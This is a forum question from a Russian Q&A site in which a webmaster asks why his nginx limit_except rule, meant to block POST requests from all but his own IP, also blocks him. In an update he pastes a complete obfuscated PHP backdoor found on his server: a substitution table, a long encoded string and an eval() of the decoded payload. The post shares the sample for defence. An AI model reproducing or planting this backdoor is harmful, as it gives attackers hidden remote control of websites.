Задать вопрос
DIvan4ik
@DIvan4ik
Web-мастер с 3-х летним стажем

Как запретить POST запросы к nginx для всех кроме себя?

Доброе время суток!

Имеется север на debian с установленной ISP manager 5 Lite. Крутится nginx + apache itk
на сервере несколько сайтов на разных CMS: Wordpress, Joomla, OpenCart, GetSimple... Сайты преимущественно новые но и старые имеются. Даже на Joomla 1.5.x.

Доступ фильтруется iptables, лица, которые имеют доступ, надежны.

Всеми управляю я лично, ну или "почти" лично. Сайты имеют коммерческий замысел и периодически посещаются. Но посещаются видимо не только клиентами, но и злоумышленниками... Через пока не известную дыру на сервере постоянно (нет правда, постоянно, и скорее всего вручную) заливаются php "Бекдоры", через которые творятся всякие ужасы.

Подумали: "Доколе"? и нашли решение:

Вот главный location ngingx конфиг-файла сайта:

location / {

                location ~ [^/]\.ph(p\d*|tml)$ {
                        limit_except GET {
                                allow <<МОЙ_ИП>;
                                deny all;
                        }
                        try_files /does_not_exists @fallback;
                }

                location ~* ^.+\.(jpg|jpeg|gif|png|svg|js|css|mp3|ogg|mpe?g|avi|zip|gz|bz2?|rar|swf)$ {
                        expires 7d;
                        try_files $uri $uri/ @fallback;
                }

                location / {

                        limit_except GET {
                                allow <МОЙ_ИП>;
                                deny  all;
                        }
                        try_files /does_not_exists @fallback;
                }
        }


Правило фильтрации типов запросов РАБОТАЕТ и все бы хорошо, НО блокирует POST и с моего ip в придачу.

В логах все четко:
<МОЙ_ИП> - - [10/Dec/2014:11:40:06 +0300] "POST /index.php?option=com_rsform&Itemid=3 HTTP/1.1" 405

Почему мой POST тоже не пропускается? 3-й день мучаюсь...

UPD не Шеллы, а Бэк доры вида:

<?php
$vGSDSHL = Array('1'=>'6', '0'=>'A', '3'=>'e', '2'=>'a', '5'=>'y', '4'=>'v', '7'=>'H', '6'=>'p', '9'=>'l', '8'=>'r', 'A'=>'t', 'C'=>'G', 'B'=>'3', 'E'=>'1', 'D'=>'2', 'G'=>'i', 'F'=>'o', 'I'=>'B', 'H'=>'n', 'K'=>'M', 'J'=>'C', 'M'=>'8', 'L'=>'T', 'O'=>'u', 'N'=>'N', 'Q'=>'F', 'P'=>'c', 'S'=>'q', 'R'=>'4', 'U'=>'I', 'T'=>'U', 'W'=>'E', 'V'=>'d', 'Y'=>'D', 'X'=>'J', 'Z'=>'5', 'a'=>'9', 'c'=>'P', 'b'=>'m', 'e'=>'O', 'd'=>'V', 'g'=>'w', 'f'=>'0', 'i'=>'R', 'h'=>'Z', 'k'=>'j', 'j'=>'g', 'm'=>'K', 'l'=>'L', 'o'=>'Q', 'n'=>'f', 'q'=>'X', 'p'=>'7', 's'=>'S', 'r'=>'x', 'u'=>'k', 't'=>'b', 'w'=>'s', 'v'=>'Y', 'y'=>'W', 'x'=>'z', 'z'=>'h');
function vZAHTCQ($v0ZDJ0Q, $vE54PQG){$vGJMOEG = ''; for($i=0; $i < strlen($v0ZDJ0Q); $i++){$vGJMOEG .= isset($vE54PQG[$v0ZDJ0Q[$i]]) ? $vE54PQG[$v0ZDJ0Q[$i]] : $v0ZDJ0Q[$i];}
return base64_decode($vGJMOEG);}
$v3MWBN6 = 'XCQEVCznPCQxP50aUJUZNYWfhCKBKDiGNYuZKkufhYuEhbUZNkUEhLuDNyUDv'.
'GUpJjFuvDawtBUjcs0GUDibNsUpJGiuhyhzVyrfqDQkVC94tG0aUJVC2yr9PfEztGPpJGiuhyhzVyrfqBdxhdaz2b'.
'QRUYfjV7XEhLwmXCi9hbQEt7invDzzPHN9VJ0aUJVq2yZutBVxlLW5NLWHegFmoC9O2d'.
'axhqoFXDd5Pba5qDr4h5PwL9dKLJupJuI6tb9nPDdfmJVwtDVnhqX5tBXxX5ggmLwmoC9O2dax'.
'hqoFXDEz3Qa93CdkVqi6tDZnVC9AhsPwKJupJuIxhqinVC9Ahdaw2yE6VJjgmLwmo7N9VQaAvy'.
'V6vEarVyafhqNnPHdOVC9AhsjgmLwmoCi9hb9OhsjHdENcqEhQT9NX'.
'LfRHlJ0HKGRElkWHmLwmJb9bmCV9VQaAvyV6vEarVyafhqNnhBIkmJu6U7'.
'wmUJ0jUChEtbNf2yaOUQVLLBNfPb9gPDrzPDz9P5juvqX5vqu6U7wmUJ0jUJ'.
'0jUJI5hqiEPbRj2qNnvqX5vquFXCQ5PbQZms0/UCQ5PbQZqDEzPJjHdENcPBi52qIxtCQx2CdxX5gj'.
'XCQ5PbQZms01U7NfPb9gPDrzPDz9P5juvqX5vqu6egFjUJ0jnoFjUJ'.
'0jXQaoLENTUYfjdENcPBi52qIxtCQx2CdxmJinTWaLdJupJG0jUJ0uqfNcLfAXis0aUQ'.
'VLLBNfPb9gPDrzPDz9P5juqfNcLfAXisupJHfmJbhEtbNf2yaOU7Vxtfr4hD9'.
'OmJuj3gFjUJ0j2CdzhCd5mJVUdQiolxWOKJ0fKYojLbafUWh4VyZuX5upJG0jUJIu2yTFUko'.
'gNJU6eg6aJj6bVyZkVC94tGIqTfaxhqiktDa82yTFXCwwUJiDmsIpJG0jUJ0uqfNcLfAXidwu2Efjcs0uVkwmUJ0jU7N9VCN4tD'.
'A6hsju25gjX7v6eg6aJj66hGjzhyEgV7uFXCQEVCznPCQxP5u6U7wmUJ0jUC9bm'.
'C9xPDdfmJinTWaLdQwHPCQxP5VVms0bXG0FtyoEmJinTWaLdQwHPCQxP5VVms0acs0uvqdf2QagvqNxm'.
'sumUJ0jUJ0jUJIqTfaxhqiktDa82yTFtyoEmJinTfdsdudsy5VUdQioqfzcTEoHqsuwUJizV'.
'qiFqBIzPBK6egFmUJ0jUC9bUJjz2qNxhqoFXQaYLfalsTdttyoE'.
'mJinTfdsdudsy5VUdQioqfzcTEoHqs9VmsIMnJ0FXQaYLfalsTdttyoEmJinTfdsdudsy5VUdQioqfzcTEoHqs9VUJWa'.
'UJizVqiFqBIzPBK6moFjUJ0jUJ0jU7Vxtfr4hD9OmJupJHfmJbhEtbNf2yaOUCQkVC94t9X'.
'YmJuj3gFjUJ0j2yvFUT0uqEIcTEitXB0rXEf6U7wmUJ0jUJ0jUJ0uvs0aUCQ5PbQZm0FjUJ0jUJ0jUJ0jUJ0GVyZztyTGUYf+U7'.
'IFPQaEtbQAhsj6l0FjUJ0jUJ0jUJ0jUJ0GPCzgqBh9PHN6tDRGUYf+U7IFP7h9PHN6tDRFmsgmUJ0jUJ0jUJ0jUJ0jUHVx'.
'tEaDhqXx2yaOUG0acGIqTfandudsTf9cLGgmUJ0jUJ0jUJ0jUJ0jUHNzhbdAtDi9UG0acGI02y'.
'Z6qDV9VJjHPDQbhdaAtDi9X5umUJ0jUJ0jUJ06egFjUJ0jUJ0jUCdk2CMjPDd52yQw2q69mJizmLwmUJ0jU7fjhyrxhs'.
'IpJG0jUJ0jUJ0jhqhztJjuqEIcTEitXB0rXEf6egFjUJ0jno6aJb9bmJI9tqIf3sjuqEIcTEitXDWHqsujmoFjU'.
'J0j2yvF2qNxhqoFXCi9hbQEt7invyNf2yaOms0bXGIbVyZkVC94t9a93C9xV7KFXDQkVC94tGPjlG0uhCdbvqdwV'.
'QazvBi6tDR6moFjUJ0jUJ0jUJinTWaLdQwHvsVVUYfjXCi9hbQEt7invyNf2yaOegFjUJ0jhyrxh'.
'oFjUJ0jUJ0jUJinTWaLdQwHvsVVUYfjXEN9vf9OhbMHeg66hGjjUydAP7iZmJinT'.
'WaLdQwHvsVVms0bXGIbVyZkVC94t9a93C9xV7KFXDQkVC94tGPjlG0'.
'uqEIcTEitXDWHqsujmoFjUJ0jvDQwtQaEPDd5qDhEtbKFXDQkVC94tGP'.
'jlG0uqEIcTEitXDWHqsupJbdR2qop';
eval(vZAHTCQ($v3MWBN6, $vGSDSHL));?>
  • Вопрос задан
  • 5313 просмотров
Подписаться 1 Оценить Комментировать
Пригласить эксперта
Ответы на вопрос 2
@Nc_Soft
Вы лечите симптомы.
Ответ написан
EagleMoor
@EagleMoor
PHP Yii2 RESTful API Developer
Наверное потому что вы разрешаете себе только GET
Попробуйте
limit_except GET|POST

Хотя очень странный способ. Если все шелы попадают через ISP, то дайте к ней доступ только с работы и все. Из дома vpn до работы и будет вам счастье. Ну и url смените для панели.
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы